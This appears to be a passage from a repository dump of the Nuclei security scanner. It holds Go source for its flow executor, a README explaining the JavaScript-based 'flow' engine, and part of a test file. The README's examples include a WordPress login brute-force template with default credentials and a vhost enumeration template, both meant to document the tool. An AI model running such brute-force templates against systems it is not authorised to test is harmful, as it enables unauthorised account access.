e.options.Options.MatcherStatus)\n\t}\n\n\treturn executed.Load() || matched.Load(), errx\n}\n\n// getErrorCause tries to parse the cause of given error\n// this is legacy support due to use of errorutil in existing libraries\n// but this should not be required once all libraries are updated\nfunc getErrorCause(err error) string {\n\tif err == nil {\n\t\treturn \"\"\n\t}\n\terrx := errkit.FromError(err)\n\tvar cause error\n\tfor _, e := range errx.Errors() {\n\t\tif e != nil && strings.Contains(e.Error(), \"context deadline exceeded\") {\n\t\t\tcontinue\n\t\t}\n\t\tcause = e\n\t\tbreak\n\t}\n\tif cause == nil {\n\t\tcause = errkit.Append(errkit.New(\"could not get error cause\"), errx)\n\t}\n\t// parseScanError prettifies the error message and removes everything except the cause\n\treturn parseScanError(cause.Error())\n}\n\n// ExecuteWithResults executes the protocol requests and returns results instead of writing them.\nfunc (e *TemplateExecuter) ExecuteWithResults(ctx *scan.ScanContext) ([]*output.ResultEvent, error) {\n\tvar errx error\n\tif e.options.Flow != \"\" {\n\t\tflowexec, err := flow.NewFlowExecutor(e.requests, ctx, e.options, e.results, e.program)\n\t\tif err != nil {\n\t\t\tctx.LogError(err)\n\t\t\treturn nil, fmt.Errorf(\"could not create flow executor: %s\", err)\n\t\t}\n\t\tif err := flowexec.Compile(); err != nil {\n\t\t\tctx.LogError(err)\n\t\t\treturn nil, err\n\t\t}\n\t\terrx = flowexec.ExecuteWithResults(ctx)\n\t} else {\n\t\terrx = e.engine.ExecuteWithResults(ctx)\n\t}\n\tif errx != nil {\n\t\tctx.LogError(errx)\n\t}\n\treturn ctx.GenerateResult(), errx\n}\n\n// getTemplateType returns the template type of the template\nfunc (e *TemplateExecuter) getTemplateType() string {\n\tif len(e.requests) == 0 {\n\t\treturn \"null\"\n\t}\n\tif e.options.Flow != \"\" {\n\t\treturn \"flow\"\n\t}\n\tif len(e.requests) > 1 {\n\t\treturn \"multiprotocol\"\n\t}\n\treturn e.requests[0].Type().String()\n}\n"
  },
  {
    "path": "pkg/tmplexec/flow/README.md",
    "content": "# flow\n\nflow is a new template engine/backend introduced in v3 which primarily adds 2 most awaited features\n- conditional execution of requests (ex: `flow:  dns() && http()`)\n- request execution orchestration (iterate over a slice, request execution order, if/for statement)\n\nboth of these features are implemented using javascript (ECMAScript 5.1) with [goja](https://github.com/dop251/goja) backend.\n## conditional execution\n\nMany times when writing complex templates we might need to add some extra checks (or conditional statements) before executing certain part of request\n\nAn ideal example of this would be when bruteforcing wordpress login with default usernames and passwords. If we try to write a template for this it would be something like this\n```yaml\nid: wordpress-bruteforce\ninfo:\n  name: WordPress Login Bruteforce\n  author: pdteam\n  severity: high\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/wp-login.php\"\n    payloads:\n      username:\n        - admin\n        - guest\n        - testuser\n      password:\n        - password123\n        - qwertyuiop\n        - letmein\n    body: \"log=§username§&pwd=§password§&wp-submit=Log+In\"\n    attack: clusterbomb \n    matchers:\n      - type: word\n        words:\n          - \"ERROR\"\n        part: body\n        negative: true\n```\n\nbut if we carefully re-evaluate this template, we can see that template is sending 9 requests without even checking, if the url actually exists or target site is actually a wordpress site. before v3 it was possible to do this by adding an extractor and sending additional content in say url fragment and it would fail if request was not successful and another way would be writing a workflow (2 templates and 1 workflow file i.e. total 3 files for 1 template) but this is `hacky` and not a good solution.\n\nWith addition of flow in Nuclei v3 we can re-write this template to first check if target is a wordpress site, if yes then bruteforce login with default credentials and this can be achieved by simply adding one line of content  i.e. `flow: http(\"check-wp\") && http(\"bruteforce\")`  and nuclei will take care of everything else.\n\n```yaml\nid: wordpress-bruteforce\ninfo:\n  name: WordPress Login Bruteforce\n  author: pdteam\n  severity: high\n\nflow: http(\"check-wp\") && http(\"bruteforce\")\n\nhttp:\n  - id: check-wp\n    method: GET\n    path:\n      - \"{{BaseURL}}/wp-login.php\"\n    \n    matchers:\n        - type: word\n            words:\n            - \"WordPress\"\n            part: body\n        - type: word\n            words:\n            - \"wp-content\"\n            part: body\n    matchers-condition: and\n\n  - id: bruteforce\n    method: POST\n    path:\n      - \"{{BaseURL}}/wp-login.php\"\n    payloads:\n      username:\n        - admin\n        - guest\n        - testuser\n      password:\n        - password123\n        - qwertyuiop\n        - letmein\n    body: \"log=§username§&pwd=§password§&wp-submit=Log+In\"\n    attack: clusterbomb \n    matchers:\n      - type: word\n        words:\n          - \"ERROR\"\n        part: body\n        negative: true\n```\n**Note:**  this is just an example template with poor matchers. refer 'nuclei-templates' repo for final template\n\nThe update template now seems straight forward and easy to understand. we are first checking if target is a wordpress site and then executing bruteforce requests. This is just a simple example of conditional execution and flow accepts any JavaScript (ECMAScript 5.1) expression/code so you are free to craft any conditional execution logic you want using for,if and whatnot.\n\n## request execution orchestration\n\n`conditional execution` is one simple use case of flow but `flow` is much more powerful than that, for example it can be used to\n- iterate over a slice of values and execute requests for each value (ex: [dns-flow-probe](testcases/nuclei-flow-dns.yaml))\n- extract values from one request and iterate over them and execute requests for each value ex: [dns-flow-probe](testcases/nuclei-flow-dns.yaml)\n- get/set values from/to template context (global variables)\n- print/log values to stdout at xyz condition or while debugging\n- adding custom logic during template execution (ex: if status code is 403 => login and then re-run it)\n- use any/all ECMAScript 5.1 javascript (like objects,arrays etc.) and build/transform variables/input at runtime\n- update variables at runtime (ex: when jwt expires update it by using refresh token and then continue execution)\n- and a lot more (this is just a tip of iceberg)\n\nsimply put request execution orchestration can be understood as nuclei logic bindings for javascript (i.e. two-way interaction between javascript and nuclei for a specific template)\n\nTo better understand orchestration we can try to build a template for vhost enumeration using flow. which usually requires writing / using a new tool\n\n**for basic vhost enumeration a template should** \n- do a PTR lookup for given ip\n- get SSL certificate for given ip (i.e. tls-grab)\n  - extract subject_cn from certificate\n  - extract subject_alt_names(SAN) from certificate\n  - filter out wildcard prefix from above values\n- and finally bruteforce all found vhosts\n\n\n**Now if we try to implement this in template it would be**\n```yaml\n# send a ssl request to get certificate\nssl:\n  - address: \"{{Host}}:{{Port}}\"\n\n# do a PTR lookup for given ip and get PTR value\ndns:\n  - name: \"{{FQDN}}\"\n    type: PTR\n\n    matchers:\n      - type: word\n        words:\n          - \"IN\\tPTR\"\n\n    extractors:\n      - type: regex\n        name: ptrValue\n        internal: true\n        group: 1\n        regex:\n          - \"IN\\tPTR\\t(.+)\" \n\n# bruteforce all found vhosts\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{vhost}}\n\n    matchers:\n      - type: status\n        negative: true\n        status:\n          - 400\n          - 502\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"VHOST: \" + vhost + \", SC: \" + status_code + \", CL: \" + content_length'                                                                                tarun@macbook:~/Codebase/nuclei/integration_tes\n```\n**But this template is not yet ready as it is missing core logic i.e. how we use all these obtained data and do bruteforce**\nand this is where flow comes into picture. flow is javascript code with two way bindings to nuclei. if we write javascript code to orchestrate vhost enumeration it is as simple as\n```javascript\n  ssl();\n  dns();\n  for (let vhost of iterate(template[\"ssl_subject_cn\"],template[\"ssl_subject_an\"])) {\n    set(\"vhost\", vhost);\n    http(); }\n```\n\nWith just extra 5 lines of javascript code template can now perform vhost enumeration and this can be run on scale with all awesome features of nuclei with various supported inputs like ASN,CIDR,URL etc\n\n\nIn above Js code we are using some Nuclei JS bindings lets understand what they do\n\n- `ssl()` => execute ssl request\n- `dns()` => execute dns request\n- `template[\"ssl_subject_cn\"]` => get value of `ssl_subject_cn` from template context (global variables)\n- `iterate()` => this is a nuclei helper function which iterates any type of value (array,map,string,number) while handling empty / nil values\n- `set(\"vhost\",vhost)` => creates new variable `vhost` in template and assigns value of `vhost` to it\n- `http()` => execute http request\n\n\nThis template is now missing one last thing i.e\n- removing wildcard prefix (*.) in subject_cn,subject_an\n- trailing `.` in PTR value\n\nand this can be done using either JS methods of using DSL helper functions as shown in below template\n\n```yaml\nid: vhost-enum-flow\n\ninfo:\n  name: vhost enum flow\n  author: tarunKoyalwar\n  severity: info\n  description: |\n    vhost enumeration by extracting potential vhost names from ssl certificate and dns ptr records\n\nflow: |\n  ssl();\n  dns({hide: true});\n  for (let vhost of iterate(template[\"ssl_subject_cn\"],template[\"ssl_subject_an\"])) {\n    vhost = vhost.replace(\"*.\", \"\")\n    set(\"vhost\", vhost);\n    http();\n  }\n\nssl:\n  - address: \"{{Host}}:{{Port}}\"\n\ndns:\n  - name: \"{{FQDN}}\"\n    type: PTR\n\n    matchers:\n      - type: word\n        words:\n          - \"IN\\tPTR\"\n\n    extractors:\n      - type: regex\n        name: ptrValue\n        internal: true\n        group: 1\n        regex:\n          - \"IN\\tPTR\\t(.+)\" \n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{trim_suffix(vhost, \".\")}}\n\n    matchers:\n      - type: status\n        negative: true\n        status:\n          - 400\n          - 502\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"VHOST: \" + vhost + \", SC: \" + status_code + \", CL: \" + content_length'\n```\n\n\n### Nuclei JS Bindings\n\nThis section contains a brief description of all nuclei JS bindings and their usage\n\n**1. Protocol Execution Functions**\n\n  Any protocol that is present in a nuclei template can be called/executed in javascript in format `proto_name()` i.e `http()`, `dns()`, `ssl()` etc.\n  If we want to execute a specific request of a protocol (ref: see [nuclei-flow-dns](testcases/nuclei-flow-dns-id.yaml)) this can be achieved by either passing\n  - index of that request in protocol (ex: `dns(0)`, `dns(1)` etc.)\n  - id of that request in protocol (ex: `dns(\"extract-vps\")`, `dns(\"probe-http\")` etc.)\n  For More complex use cases multiple requests of a single protocol can be executed by just specifying their index or id one after another (ex: `dns(\"extract-vps\",\"1\")`)\n\n**2. Iterate Helper Function**\n  \n  Iterate is a nuclei js helper function which can be used to iterate over any type of value (array,map,string,number) while handling empty / nil values.\n  This is addon helper function from nuclei to omit boilerplate code of checking if value is empty or not and then iterating over it\n  ```javascript\n  iterate(123,{\"a\":1,\"b\":2,\"c\":3})\n  // iterate over array with custom separator\n  iterate([1,2,3,4,5], \" \")\n  ```\n  **Note:** In above example we used `iterate(template[\"ssl_subject_cn\"],template[\"ssl_subject_an\"])` which removed lot of boilerplate code of checking if value is empty or not and then iterating over it\n\n**3. Set Helper Function**\n\n  When Iterating over a values/array or some other use case we might want to invoke a request with custom/given value and this can be achieved by using `set()` helper function. When invoked/called it adds given variable to template context (global variables) and that value is used during execution of request/protocol. the format of `set()` is `set(\"variable_name\",value)` ex: `set(\"username\",\"admin\")` etc\n  ```javascript\n    for (let vhost of myArray) {\n    set(\"vhost\", vhost);\n    http(1)\n  }\n  ```\n  **Note:** In above example we used `set(\"vhost\", vhost)` which added `vhost` to template context (global variables) and then called `http(1)` which used this value in request\n\n**4. Template Context**\n\n  when using `nuclei -jsonl` flag we get lot of data/metadata related to a vulnerability (ex: template details,extracted-values and much more) . A template context is nothing but a map/JSON containing all this data along with internal/unexported data that is only available at runtime (ex: extracted values from previous requests, variables added using `set()` etc.). This template context is available in javascript as `template` variable and can be used to access any data from it. ex: `template[\"ssl_subject_cn\"]` , `template[\"ssl_subject_an\"]` etc\n  ```javascript\n  template[\"ssl_subject_cn\"] // returns value of ssl_subject_cn from template context which is available after executing ssl request \n  template[\"ptrValue\"]  // returns value of ptrValue which was extracted using regex with internal: true\n  ```\n  Lot of times we don't know what all data is available in template context and this can be easily found by printing it to stdout using `log()` function\n  ```javascript\n  log(template)\n  ```\n\n**5. Log Helper Function**\n\n  It is a nuclei js alternative to `console.log` and this pretty prints map data in readable format\n  **Note:** This should be used for debugging purposed only as this prints data to stdout\n\n**6. Dedupe**\n\n  Lot of times just having arrays/slices is not enough and we might need to remove duplicate variables . for example in earlier vhost enumeration we did not remove any duplicates as there is always a chance of duplicate values in `ssl_subject_cn` and `ssl_subject_an` and this can be achieved by using `dedupe()` object. This is nuclei js helper function to abstract away boilerplate code of removing duplicates from array/slice\n  ```javascript\n  let uniq = new Dedupe(); // create new dedupe object\n  uniq.Add(template[\"ptrValue\"]) \n  uniq.Add(template[\"ssl_subject_cn\"]);\n  uniq.Add(template[\"ssl_subject_an\"]); \n  log(uniq.Values())\n  ```\n  And that's it , this automatically converts any slice/array to map and removes duplicates from it and returns a slice/array of unique values\n\n------\n> Similar to DSL helper functions . we can either use built in functions available with `JavaScript (ECMAScript 5.1)` or use DSL helper functions and its upto user to decide which one to uses"
  },
  {
    "path": "pkg/tmplexec/flow/builtin/dedupe.go",
    "content": "package builtin\n\nimport (\n\t\"crypto/md5\"\n\t\"reflect\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// Dedupe is a javascript builtin for deduping values\ntype Dedupe struct {\n\tm  map[string]goja.Value\n\tVM *goja.Runtime\n}\n\n// Add adds a value to the dedupe\nfunc (d *Dedupe) Add(call goja.FunctionCall) goja.Value {\n\tallVars := []any{}\n\tfor _, v := range call.Arguments {\n\t\tif v.Export() == nil {\n\t\t\tcontinue\n\t\t}\n\t\tif v.ExportType().Kind() == reflect.Slice {\n\t\t\t// convert []datatype to []interface{}\n\t\t\t// since it cannot be type asserted to []interface{} directly\n\t\t\trfValue := reflect.ValueOf(v.Export())\n\t\t\tfor i := 0; i < rfValue.Len(); i++ {\n\t\t\t\tallVars = append(allVars, rfValue.Index(i).Interface())\n\t\t\t}\n\t\t} else {\n\t\t\tallVars = append(allVars, v.Export())\n\t\t}\n\t}\n\tfor _, v := range allVars {\n\t\thash := hashValue(v)\n\t\tif _, ok := d.m[hash]; ok {\n\t\t\tcontinue\n\t\t}\n\t\td.m[hash] = d.VM.ToValue(v)\n\t}\n\treturn d.VM.ToValue(true)\n}\n\n// Values returns all values from the dedupe\nfunc (d *Dedupe) Values(call goja.FunctionCall) goja.Value {\n\ttmp := []goja.Value{}\n\tfor _, v := range d.m {\n\t\ttmp = append(tmp, v)\n\t}\n\treturn d.VM.ToValue(tmp)\n}\n\n// NewDedupe creates a new dedupe builtin object\nfunc NewDedupe(vm *goja.Runtime) *Dedupe {\n\treturn &Dedupe{\n\t\tm:  make(map[string]goja.Value),\n\t\tVM: vm,\n\t}\n}\n\n// hashValue returns a hash of the value\nfunc hashValue(value interface{}) string {\n\tres := types.ToString(value)\n\tmd5sum := md5.Sum([]byte(res))\n\treturn string(md5sum[:])\n}\n"
  },
  {
    "path": "pkg/tmplexec/flow/doc.go",
    "content": "package flow\n"
  },
  {
    "path": "pkg/tmplexec/flow/flow_executor.go",
    "content": "package flow\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync/atomic\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/compiler\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan\"\n\ttemplateTypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\n\t\"github.com/kitabisa/go-ci\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\t\"go.uber.org/multierr\"\n)\n\nvar (\n\t// ErrInvalidRequestID is a request id error\n\tErrInvalidRequestID = errkit.New(\"invalid request id provided\")\n)\n\n// ProtoOptions are options that can be passed to flow protocol callback\n// ex: dns(protoOptions) <- protoOptions are optional and can be anything\ntype ProtoOptions struct {\n\tprotoName string\n\treqIDS    []string\n}\n\n// FlowExecutor is a flow executor for executing a flow\ntype FlowExecutor struct {\n\tctx     *scan.ScanContext // scan context (includes target etc)\n\toptions *protocols.ExecutorOptions\n\n\t// javascript runtime reference and compiled program\n\tprogram *goja.Program // compiled js program\n\n\t// protocol requests and their callback functions\n\tallProtocols   map[string][]protocols.Request\n\tprotoFunctions map[string]func(call goja.FunctionCall, runtime *goja.Runtime) goja.Value // reqFunctions contains functions that allow executing requests/protocols from js\n\n\t// logic related variables\n\tresults *atomic.Bool\n\tallErrs mapsutil.SyncLockMap[string, error]\n\t// these are keys whose values are meant to be flatten before executing\n\t// a request ex: if dynamic extractor returns [\"value\"] it will be converted to \"value\"\n\tflattenKeys []string\n\n\texecuted *mapsutil.SyncLockMap[string, struct{}]\n}\n\n// NewFlowExecutor creates a new flow executor from a list of requests\n// Note: Unlike other engine for every target x template flow needs to be compiled and executed everytime\n// unlike other engines where we compile once and execute multiple times\nfunc NewFlowExecutor(requests []protocols.Request, ctx *scan.ScanContext, options *protocols.ExecutorOptions, results *atomic.Bool, program *goja.Program) (*FlowExecutor, error) {\n\tallprotos := make(map[string][]protocols.Request)\n\tfor _, req := range requests {\n\t\tswitch req.Type() {\n\t\tcase templateTypes.DNSProtocol:\n\t\t\tallprotos[templateTypes.DNSProtocol.String()] = append(allprotos[templateTypes.DNSProtocol.String()], req)\n\t\tcase templateTypes.HTTPProtocol:\n\t\t\tallprotos[templateTypes.HTTPProtocol.String()] = append(allprotos[templateTypes.HTTPProtocol.String()], req)\n\t\tcase templateTypes.NetworkProtocol:\n\t\t\tallprotos[templateTypes.NetworkProtocol.String()] = append(allprotos[templateTypes.NetworkProtocol.String()], req)\n\t\tcase templateTypes.FileProtocol:\n\t\t\tallprotos[templateTypes.FileProtocol.String()] = append(allprotos[templateTypes.FileProtocol.String()], req)\n\t\tcase templateTypes.HeadlessProtocol:\n\t\t\tallprotos[templateTypes.HeadlessProtocol.String()] = append(allprotos[templateTypes.HeadlessProtocol.String()], req)\n\t\tcase templateTypes.SSLProtocol:\n\t\t\tallprotos[templateTypes.SSLProtocol.String()] = append(allprotos[templateTypes.SSLProtocol.String()], req)\n\t\tcase templateTypes.WebsocketProtocol:\n\t\t\tallprotos[templateTypes.WebsocketProtocol.String()] = append(allprotos[templateTypes.WebsocketProtocol.String()], req)\n\t\tcase templateTypes.WHOISProtocol:\n\t\t\tallprotos[templateTypes.WHOISProtocol.String()] = append(allprotos[templateTypes.WHOISProtocol.String()], req)\n\t\tcase templateTypes.CodeProtocol:\n\t\t\tallprotos[templateTypes.CodeProtocol.String()] = append(allprotos[templateTypes.CodeProtocol.String()], req)\n\t\tcase templateTypes.JavascriptProtocol:\n\t\t\tallprotos[templateTypes.JavascriptProtocol.String()] = append(allprotos[templateTypes.JavascriptProtocol.String()], req)\n\t\tcase templateTypes.OfflineHTTPProtocol:\n\t\t\t// offlinehttp is run in passive mode but templates are same so instead of using offlinehttp() we use http() in flow\n\t\t\tallprotos[templateTypes.HTTPProtocol.String()] = append(allprotos[templateTypes.OfflineHTTPProtocol.String()], req)\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"invalid request type %s\", req.Type().String())\n\t\t}\n\t}\n\tf := &FlowExecutor{\n\t\tallProtocols: allprotos,\n\t\toptions:      options,\n\t\tallErrs: mapsutil.SyncLockMap[string, error]{\n\t\t\tReadOnly: atomic.Bool{},\n\t\t\tMap:      make(map[string]error),\n\t\t},\n\t\tprotoFunctions: map[string]func(call goja.FunctionCall, runtime *goja.Runtime) goja.Value{},\n\t\tresults:        results,\n\t\tctx:            ctx,\n\t\tprogram:        program,\n\t\texecuted:       mapsutil.NewSyncLockMap[string, struct{}](),\n\t}\n\treturn f, nil\n}\n\n// Compile compiles js program and registers all functions\nfunc (f *FlowExecutor) Compile() error {\n\tif f.results == nil {\n\t\tf.results = new(atomic.Bool)\n\t}\n\t// load all variables and evaluate with existing data\n\tvariableMap := f.options.Variables.Evaluate(f.options.GetTemplateCtx(f.ctx.Input.MetaInput).GetAll())\n\t// cli options\n\toptionVars := generators.BuildPayloadFromOptions(f.options.Options)\n\t// constants\n\tconstants := f.options.Constants\n\tallVars := generators.MergeMaps(variableMap, constants, optionVars)\n\t// we support loading variables from files in variables , cli options and constants\n\t// try to load if files exist\n\tfor k, v := range allVars {\n\t\tif str, ok := v.(string); ok && len(str) < 150 && fileutil.FileExists(str) {\n\t\t\tif value, err := f.ReadDataFromFile(str); err == nil {\n\t\t\t\tallVars[k] = value\n\t\t\t} else {\n\t\t\t\tf.ctx.LogWarning(\"could not load file '%s' for variable '%s': %s\", str, k, err)\n\t\t\t}\n\t\t}\n\t}\n\tf.options.GetTemplateCtx(f.ctx.Input.MetaInput).Merge(allVars) // merge all variables into template context\n\n\t// ---- define callback functions/objects----\n\tf.protoFunctions = map[string]func(call goja.FunctionCall, runtime *goja.Runtime) goja.Value{}\n\t// iterate over all protocols and generate callback functions for each protocol\n\tfor p, requests := range f.allProtocols {\n\t\t// for each protocol build a requestMap with reqID and protocol request\n\t\treqMap := mapsutil.Map[string, protocols.Request]{}\n\t\tcounter := 0\n\t\tproto := strings.ToLower(p) // donot use loop variables in callback functions directly\n\t\tfor index := range requests {\n\t\t\tcounter++ // start index from 1\n\t\t\trequest := f.allProtocols[proto][index]\n\t\t\tif request.GetID() != \"\" {\n\t\t\t\t// if id is present use it\n\t\t\t\treqMap[request.GetID()] = request\n\t\t\t}\n\t\t\t// fallback to using index as id\n\t\t\t// always allow index as id as a fallback\n\t\t\treqMap[strconv.Itoa(counter)] = request\n\t\t}\n\t\t// ---define hook that allows protocol/request execution from js-----\n\t\t// --- this is the actual callback that is executed when function is invoked in js----\n\t\tf.protoFunctions[proto] = func(call goja.FunctionCall, runtime *goja.Runtime) goja.Value {\n\t\t\topts := &ProtoOptions{\n\t\t\t\tprotoName: proto,\n\t\t\t}\n\t\t\tfor _, v := range call.Arguments {\n\t\t\t\tswitch value := v.Export().(type) {\n\t\t\t\tdefault:\n\t\t\t\t\topts.reqIDS = append(opts.reqIDS, types.ToString(value))\n\t\t\t\t}\n\t\t\t}\n\t\t\t// before executing any protocol function flatten tracked values\n\t\t\tif len(f.flattenKeys) > 0 {\n\t\t\t\tctx := f.options.GetTemplateCtx(f.ctx.Input.MetaInput)\n\t\t\t\tfor _, key := range f.flattenKeys {\n\t\t\t\t\tif value, ok := ctx.Get(key); ok {\n\t\t\t\t\t\tctx.Set(key, flatten(value))\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn runtime.ToValue(f.requestExecutor(runtime, reqMap, opts))\n\t\t}\n\t}\n\treturn nil\n}\n\n// ExecuteWithResults executes the flow and returns results\nfunc (f *FlowExecutor) ExecuteWithResults(ctx *scan.ScanContext) error {\n\tselect {\n\tcase <-ctx.Context().Done():\n\t\treturn ctx.Context().Err()\n\tdefault:\n\t}\n\n\tf.ctx.Input = ctx.Input\n\t// -----Load all types of variables-----\n\t// add all input args to template context\n\tif f.ctx.Input != nil && f.ctx.Input.HasArgs() {\n\t\tf.ctx.Input.ForEach(func(key string, value interface{}) {\n\t\t\tf.options.GetTemplateCtx(f.ctx.Input.MetaInput).Set(key, value)\n\t\t})\n\t}\n\n\t// get a new runtime from pool\n\truntime := GetJSRuntime(f.options.Options)\n\tdefer func() {\n\t\t// whether to reuse or not depends on the whether script modifies\n\t\t// global scope or not,\n\t\tPutJSRuntime(runtime, compiler.CanRunAsIIFE(f.options.Flow))\n\t}()\n\tdefer func() {\n\t\t// remove set builtin\n\t\t_ = runtime.GlobalObject().Delete(\"set\")\n\t\t_ = runtime.GlobalObject().Delete(\"template\")\n\t\tfor proto := range f.protoFunctions {\n\t\t\t_ = runtime.GlobalObject().Delete(proto)\n\t\t}\n\t\truntime.RemoveContextValue(\"executionId\")\n\t}()\n\n\t// TODO(dwisiswant0): remove this once we get the RCA.\n\tdefer func() {\n\t\tif ci.IsCI() {\n\t\t\treturn\n\t\t}\n\n\t\tif r := recover(); r != nil {\n\t\t\tf.ctx.LogError(fmt.Errorf(\"panic occurred while executing flow: %v\", r))\n\t\t}\n\t}()\n\n\tif ctx.OnResult == nil {\n\t\treturn fmt.Errorf(\"output callback cannot be nil\")\n\t}\n\t// before running register set of builtins\n\tif err := runtime.Set(\"set\", func(call goja.FunctionCall) goja.Value {\n\t\tvarName := call.Argument(0).Export()\n\t\tvarValue := call.Argument(1).Export()\n\t\tf.options.GetTemplateCtx(f.ctx.Input.MetaInput).Set(types.ToString(varName), varValue)\n\t\treturn goja.Null()\n\t}); err != nil {\n\t\treturn err\n\t}\n\t// also register functions that allow executing protocols from js\n\tfor proto, fn := range f.protoFunctions {\n\t\tif err := runtime.Set(proto, fn); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t// register template object\n\ttmplObj := f.options.GetTemplateCtx(f.ctx.Input.MetaInput).GetAll()\n\tif tmplObj == nil {\n\t\ttmplObj = map[string]interface{}{}\n\t}\n\tif err := runtime.Set(\"template\", tmplObj); err != nil {\n\t\treturn err\n\t}\n\n\truntime.SetContextValue(\"executionId\", f.options.Options.ExecutionId)\n\n\t// pass flow and execute the js vm and handle errors\n\t_, err := runtime.RunProgram(f.program)\n\tf.reconcileProgress()\n\tif err != nil {\n\t\tctx.LogError(err)\n\t\treturn errkit.Wrapf(err, \"failed to execute flow\\n%v\\n\", f.options.Flow)\n\t}\n\truntimeErr := f.GetRuntimeErrors()\n\tif runtimeErr != nil {\n\t\tctx.LogError(runtimeErr)\n\t\treturn errkit.Wrap(runtimeErr, \"got following errors while executing flow\")\n\t}\n\n\treturn nil\n}\n\nfunc (f *FlowExecutor) reconcileProgress() {\n\tfor proto, list := range f.allProtocols {\n\t\tfor idx, req := range list {\n\t\t\tkey := requestKey(proto, req, strconv.Itoa(idx+1))\n\t\t\tif _, seen := f.executed.Get(key); !seen {\n\t\t\t\t// never executed → pretend it finished so that stats match\n\t\t\t\tf.options.Progress.SetRequests(uint64(req.Requests()))\n\t\t\t}\n\t\t}\n\t}\n}\n\n// GetRuntimeErrors returns all runtime errors (i.e errors from all protocol combined)\nfunc (f *FlowExecutor) GetRuntimeErrors() error {\n\terrs := []error{}\n\tfor proto, err := range f.allErrs.GetAll() {\n\t\terrs = append(errs, errkit.Wrapf(err, \"failed to execute %v protocol\", proto))\n\t}\n\treturn multierr.Combine(errs...)\n}\n\n// ReadDataFromFile reads data from file respecting sandbox options\nfunc (f *FlowExecutor) ReadDataFromFile(payload string) ([]string, error) {\n\tvalues := []string{}\n\t// load file respecting sandbox\n\treader, err := f.options.Options.LoadHelperFile(payload, f.options.TemplatePath, f.options.Catalog)\n\tif err != nil {\n\t\treturn values, err\n\t}\n\tdefer func() {\n\t\t_ = reader.Close()\n\t}()\n\tbin, err := io.ReadAll(reader)\n\tif err != nil {\n\t\treturn values, err\n\t}\n\tfor _, line := range strings.Split(string(bin), \"\\n\") {\n\t\tline = strings.TrimSpace(line)\n\t\tif line != \"\" {\n\t\t\tvalues = append(values, line)\n\t\t}\n\t}\n\treturn values, nil\n}\n\n// Name returns the type of engine\nfunc (f *FlowExecutor) Name() string {\n\treturn \"flow\"\n}\n"
  },
  {
    "path": "pkg/tmplexec/flow/flow_executor_test.go",
    "content": "package flow_test\n\nimport (\n\t\"context\"\n\t\"log\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/progress\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\t\"github.com/projectdiscovery/ratelimit\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nvar executerOpts *protocols.ExecutorOptions\n\nfunc setup() {\n\toptions := testutils.DefaultOptions\n\ttestutils.Init(options)\n\tprogressImpl, _ := progress.NewStatsTicker(0, false, false, false, 0)\n\n\texecuterOpts = &protocols.ExecutorOptions{\n\t\tOutput:       testutils.NewMockOutputWriter(options.OmitTemplate),\n\t\tOptions:      options,\n\t\tProgress:     progressImpl,\n\t\tProjectFile:  nil,\n\t\tIssuesClient: nil,\n\t\tBrowser:      nil,\n\t\tCatalog:      disk.NewCatalog(config.DefaultConfig.TemplatesDirectory),\n\t\tRateLimiter:  ratelimit.New(context.Background(), uint(options.RateLimit), time.Second),\n\t\tParser:       templates.NewParser(),\n\t}\n\tworkflowLoader, err := workflow.NewLoader(executerOpts)\n\tif err != nil {\n\t\tlog.Fatalf(\"Could not create workflow loader: %s\\n\", err)\n\t}\n\texecuterOpts.WorkflowLoader = workflowLoader\n}\n\nfunc TestFlowTemplateWithIndex(t *testing.T) {\n\t// test\n\tsetup()\n\tTemplate, err := templates.Parse(\"testcases/nuclei-flow-dns.yaml\", nil, executerOpts)\n\trequire.Nil(t, err, \"could not parse template\")\n\n\trequire.True(t, Template.Flow != \"\", \"not a flow template\") // this is classifier if template is flow or not\n\n\terr = Template.Executer.Compile()\n\trequire.Nil(t, err, \"could not compile template\")\n\n\tinput := contextargs.NewWithInput(context.Background(), \"hackerone.com\")\n\tctx := scan.NewScanContext(context.Background(), input)\n\tgotresults, err := Template.Executer.Execute(ctx)\n\trequire.Nil(t, err, \"could not execute template\")\n\trequire.True(t, gotresults)\n}\n\nfunc TestFlowTemplateWithID(t *testing.T) {\n\tsetup()\n\t// apart from parse->compile->execution this testcase checks support for use custom id for protocol request and invocation of\n\t// the same in js\n\tTemplate, err := templates.Parse(\"testcases/nuclei-flow-dns-id.yaml\", nil, executerOpts)\n\trequire.Nil(t, err, \"could not parse template\")\n\n\trequire.True(t, Template.Flow != \"\", \"not a flow template\") // this is classifier if template is flow or not\n\n\terr = 